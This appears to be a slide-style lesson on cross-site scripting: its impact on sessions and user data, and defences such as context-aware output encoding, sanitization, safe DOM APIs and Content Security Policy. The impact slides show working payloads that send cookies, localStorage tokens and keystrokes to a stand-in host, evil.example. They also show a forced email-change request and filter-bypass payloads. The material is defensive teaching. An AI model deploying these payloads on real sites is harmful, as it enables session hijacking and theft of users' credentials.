1

Impact

XSS Impact

💥

Impact

XSS is dangerous because it allows attacker-controlled JavaScript to run inside a victim's browser and the security context of a trusted website.

The victim may already be logged in, so the malicious script can potentially interact with the page using the victim's existing privileges.

With stored XSS, the malicious content can be saved in something like a comment.

<img src=x onerror="fetch('https://evil.example/log?c='+document.cookie)">

Every visitor who views that comment silently sends their own cookies to the attacker's server no click, no visible sign anything happened.
The broader risk is that injected JavaScript may be able to read accessible page data, modify the page, capture input, or perform actions available to the victim's browser session.

2

Impact

Session and Authentication Risks

💥

Impact

If a session cookie doesn't have the HttpOnly flag, JavaScript running through XSS may be able to read it using:

document.location = 'https://evil.example/steal?c=' + document.cookie;

If an attacker obtains a usable session token, they may be able to impersonate the victim's session, depending on how the application manages sessions.

localStorage is different:

If an application stores authentication tokens in localStorage, JavaScript can generally access them:

fetch('https://evil.example/steal?t=' + localStorage.getItem('auth_token'));

Unlike cookies, localStorage has no HttpOnly protection.
So XSS can potentially expose authentication tokens stored there.

HttpOnly cookies can reduce the risk of direct cookie theft through JavaScript, but they do not prevent XSS itself. An injected script may still be able to perform actions as the authenticated user while the victim's session remains active.

3

Impact

Sensitive Data and User Interaction Risks

💥

Impact

Injected script can capture everything typed into the page in real time:

javascript

document.addEventListener('keydown', e => {
    fetch('https://evil.example/log?k=' + e.key);
});

It can also trigger actions as the victim — for example, submitting a form to change the account's email address without the victim clicking anything:

fetch('/account/update-email', {
    method: 'POST',
    body: 'email=attacker@evil.example',
    headers: { 'Content-Type': 'application/x-www-form-urlencoded' }
});

The browser may automatically include the victim's session credentials with same-origin requests.
The server may not be able to tell that the request was triggered by malicious JavaScript rather than the victim interacting normally with the website.

This is why HttpOnly and SameSite cookies are useful defense-in-depth, but they do not fix the underlying XSS vulnerability.

Primary remediation: prevent attacker-controlled JavaScript from executing through proper context-aware output encoding, safe DOM APIs, HTML sanitization where required, and CSP as an additional layer.

4

Remediation

Output Encoding

🛡️

Remediation

Convert characters that are meaningful to HTML/JS parsers into harmless literal text at the point of output.

Given raw input: <script>alert(1)</script>
HTML-encoded for safe output it becomes: &lt;script&gt;alert(1)&lt;/script&gt;

the browser displays that literal text instead of parsing and executing it.

5

Remediation

Context-Specific Encoding

🛡️

Remediation

The same input needs different treatment depending on where it lands:

HTML body needs HTML-entity encoding.
HTML attribute values need quote-specific attribute encoding.
JavaScript strings need JS escaping.
URLs need URL encoding.

Applying the wrong encoding for the wrong context a very common real bug leaves an application exploitable even though "some encoding" is technically happening.

6

Remediation

Input Validation

🛡️

Remediation

Input validation means restricting input to what the application actually expects.

$request->validate([
    'lesson_id' => 'required|integer'
]);

This ensures lesson_id is an integer instead of accepting arbitrary data.
However, validation alone does not prevent XSS.

A comment field may legitimately contain: < & "

Validate input for the expected format, then properly encode it when displaying it.

Validation reduces the attack surface; output encoding prevents data from being interpreted as code.

7

Remediation

Sanitization

🛡️

Remediation

When a field is supposed to accept HTML, normal output encoding isn't suitable because it would turn valid HTML into plain text.

Instead, use HTML sanitization.

The sanitizer:

Parses the submitted HTML.
Keeps only allowed tags and attributes.
Removes dangerous content.

Example:

Input:

<p>Great point!</p>
<script>alert(1)</script>
<img src=x onerror=alert(2)>

After sanitization:

<p>Great point!</p>

Encoding = treat everything as text.
Sanitization = allow safe HTML, remove dangerous HTML.

8

Remediation

Safe DOM Manipulation

🛡️

Remediation

Some JavaScript APIs can turn user input into HTML, creating a DOM-based XSS risk.

Dangerous: The browser interprets userComment as HTML.

element.innerHTML = userComment; 

Safe: The browser treats the value as plain text, not HTML.

element.textContent = userComment; 

Where real elements are genuinely needed, build them with the DOM API instead of string concatenation. This is the primary defense against DOM-based XSS specifically.

9

Remediation

Content Security Policy (CSP)

🛡️

Remediation

CSP is an additional layer of protection against XSS.

For example:

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'

This tells the browser which types of content and scripts are allowed to execute.
With script-src 'self', inline scripts are generally blocked, so an injected:

<script>alert(1)</script>

would normally be prevented from executing.

CSP doesn't remove the XSS vulnerability it only limit the damage if an injection gets through. The application still needs to fix the underlying issue with proper output encoding, sanitization, and safe DOM handling.

11

Best_practice

Common XSS Prevention Mistakes

Best Practice

Encoding input instead of output:
Encoding data when it enters the application can corrupt legitimate data and doesn't protect other places where the same data might be displayed.

Relying on a denylist:
Blocking a few known payloads is unreliable: <script>alert(1)</script>

Bypass: <ScRiPt>alert(1)</ScRiPt>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>


Use allowlists, proper encoding, and sanitization instead of trying to block specific payloads.

Treating a WAF as the solution:
A WAF can block known or recognizable attack patterns, but it cannot guarantee that all XSS payloads will be detected.
Fix the vulnerable code first; use a WAF as an additional defense layer.

12

Summary

Key Takeaways

Summary

XSS impact centers on abusing the trust between a user and their authenticated browser session. If malicious JavaScript executes in the context of a trusted application, it may be able to perform actions with the user's privileges or access information available to that browser context.

The primary defense is context-specific output encoding. Data should be encoded appropriately for the context in which it is rendered, such as HTML, HTML attributes, JavaScript, CSS, or URLs.

Input validation and sanitization provide additional protection for specific use cases, particularly where an application intentionally allows limited HTML or other structured content. They should not replace proper output encoding.

Content Security Policy (CSP) and secure cookie attributes such as HttpOnly, Secure, and appropriate SameSite settings provide defense in depth. They can reduce what an attacker can accomplish if an XSS vulnerability is present, but they do not fix the underlying injection vulnerability.